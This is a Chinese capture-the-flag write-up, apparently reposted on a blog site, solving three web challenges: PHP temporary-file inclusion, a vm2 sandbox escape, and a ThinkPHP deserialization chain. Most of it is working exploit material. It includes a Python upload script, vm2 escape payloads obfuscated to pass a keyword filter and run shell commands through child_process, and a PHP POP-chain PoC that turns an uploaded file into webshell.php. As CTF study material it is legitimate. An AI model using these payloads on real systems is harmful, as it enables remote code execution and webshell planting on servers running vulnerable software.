赞
踩
要求md5编码后的name要与pass相同 ,响应包里给出了hash的值
测试name=1,发现hash的值与hash为空的值不同。
传入name=1,pass等于name=1时hash的值,页面跳转到404
burp拦截发现有flflflflag.php
打开发现:
提示include($_GET[“file”]),通过dirsearch扫目录可以得到dir.php ,包含他可以看到这个页面列出了 /tmp 下的所有文件.
考察的是php的临时文件包含
使用python上传文件,Py脚本:
import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
访问dir.php查看上传的文件
上传成功,并不能直接访问tmp目录下的文件…/一层一层尝试即可,flag在phpinfo内
参考文章:php文件操作的小trick
提示不是PHP,尝试访问run.php,得到
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
按照提示将code后的运算式需url编码传入
再传入new%20Date()会显示时间
既然提示不是php,测试是不是js,输入Error().stack
发现是VM2沙盒逃逸(参考文章:VM2沙盒逃逸)
github上有最新的poc: https://github.com/patriksimek/vm2/issues/225
"use strict"; const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } }+')()'; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); }
直接用会有关键字过滤
['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']
解法一: 将关键字加入反引号,命令进行url编码
payload:
/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+%2fflag`)[`toString`]();%20}%20})()
解法二: 使用Javascript模板文字绕过如
prototype变成`${`${`prototyp`}e`}`
payload
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()
进入是登录注册界面,注册一个账号进行登录
发现页面有跳转延迟到文件上传界面,尝试上传图片马失败,而且这个跳转界面看着像是TP
登录的cookie是一串可疑数字
base64解密发现是序列化字符串
dirsearch扫描到源码www.tar.gz,webstorm打开,发现两处断点应该是提示。
login_check将用户的cookie反序列化,后到数据库中检查相关信息是否一致,Register.php中的析构方法destruct中的registed和checker可控。
在profile.php中有文件上传的函数
<?php namespace app\web\controller; use think\Controller; class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct() { $this->checker=new Index(); $this->upload_menu=md5($_SERVER['REMOTE_ADDR']); @chdir("../public/upload"); if(!is_dir($this->upload_menu)){ @mkdir($this->upload_menu); } @chdir($this->upload_menu); } public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } //如果直接上传会在文件后加入.png导致即使上传成功php文件也无法被解析 if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } //这里将ext赋值为1则可以进入 if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); //将filename_tmp移动到filename @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } //get中的except可控,它指向了一个索引数组 public function __get($name) { return $this->except[$name]; } //name是不可访问函数的名字 //arguments是参数,为空 //而当使用this->index,就是访问一个不可访问的属性,然后触发__get()魔术方法 public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }
其中的魔术方法:
__get() 在调用不可访问的属性的时候触发
__call() 在调用不可访问的方法的时候触发
1.要绕过加.png的限制可以通过直接发送get请求,不上传文件这样FILES就为空绕过。直接进入下一个if,让ext为1进入,实现将png移动为php文件。
2.我们如果把 $this->checher
赋值为Profile 对象,那么就会调用Profile对象中的index() 方法,这个方法在Profile中是不存在的,所以会调用__call() , __call中又会调用$this->index
,index 属性在Profile中也是不存在的,就会触发__get() 方法,那么我们再设置Profile 中的except[’index‘] 为 upload_img 的话,就会成功触发upload_img() 。
进而控制upload_img()中的方法进行文件名控制传入木马。
因此整个利用链为
Register -> __destruct
Profile -> __call
Profile -> __get
Profile -> upload_img
POC
<?php namespace app\web\controller; error_reporting(0); class Profile { public $checker=0; //目的是绕过index类的检查,防止退出程序 public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } } class Register { public $checker; public $registed; public function __destruct() { if(!$this->registed){ $this->checker->index(); } } } $profile = new Profile(); $profile->except = ['index' => 'img']; $profile->img = "upload_img"; $profile->ext = "1";//过if来复制shell $profile->filename_tmp = "./upload/"; //指定路径 $profile->filename = "./upload/webshell.php"; $register = new Register(); $register->registed = false; //过destruct里的if $register->checker = $profile; //调用POP链 echo urlencode(base64_encode(serialize($register)));
要执行我们的反序列化链就要利用index.php中的对cookie的操作。
首先上传图片马得到文件名和路径,将路径放入exp中,将生成的序列化数据替换cookie再访问原来的文件夹这时候png文件就变成了php文件,木马上传成功,就可以webshell了。
(ps:我这个环境有问题上传成功一直不显示路径服了)。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。